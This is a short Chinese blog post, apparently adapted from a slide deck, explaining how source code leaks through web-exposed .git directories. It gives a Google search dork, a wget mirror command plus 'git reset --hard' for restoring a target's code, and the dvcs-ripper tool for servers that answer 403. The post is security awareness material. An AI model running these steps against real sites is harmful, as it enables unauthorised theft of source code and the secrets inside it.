通过.git获取源码
本来是看到这个文章,觉得还不错,想简单翻译一下搬到博客上来。结果晚上就发现一篇更详细的ppt。
原 ppt 链接 http://www.slideshare.net/kost/ripping-web-accessible-git-files
中文翻译基于 http://zone.wooyun.org/content/18004,有修改~
在运行git init初始化代码库的时候 会在当前目录下产生.git目录,用来记录代码的变更等等
.git目录结构如下
1sky@linux:~/git-repo/test$ tree .git
2.git
3├── branches
4├── config
5├── description
6├── HEAD
7├── hooks
8│ ├── applypatch-msg.sample
9│ ├── commit-msg.sample
10│ ├── post-update.sample
11│ ├── pre-applypatch.sample
12│ ├── pre-commit.sample
13│ ├── prepare-commit-msg.sample
14│ ├── pre-push.sample
15│ ├── pre-rebase.sample
16│ └── update.sample
17├── info
18│ └── exclude
19├── objects
20│ ├── info
21│ └── pack
22└── refs
23 ├── heads
24 └── tags
25
269 directories, 13 files
发布代码的之后,直接把开发目录拷贝过去(.git)也在里面,然后就中奖了。。。
google一下:".git" intitle:"index of"
人肉获取法:
1mkdir git-test
2cd git-test
3#下载.git文件
4wget --mirror --include-directories=/.git http://www.target.com/.git
5cd www.target.com
6#版本回退,得到了源代码
7git reset --hard
如果apache是Options FollowSymLinks,.git访问是403,上面这种人肉法就失效了。。。
需要借助工具,来遍历关键文件并下载恢复: https://github.com/kost/dvcs-ripper
1rip-git.pl
2
3Example: ./rip-git.pl -v -u http://www.example.com/.git/
实例: WooYun: 友盟网git服务使用不当导致源代码泄露 被忽视的开发安全问题 HCTF writeup(web) One git command may cause you hacked(CVE-2014-9390)
git教程(写的真心详细) http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000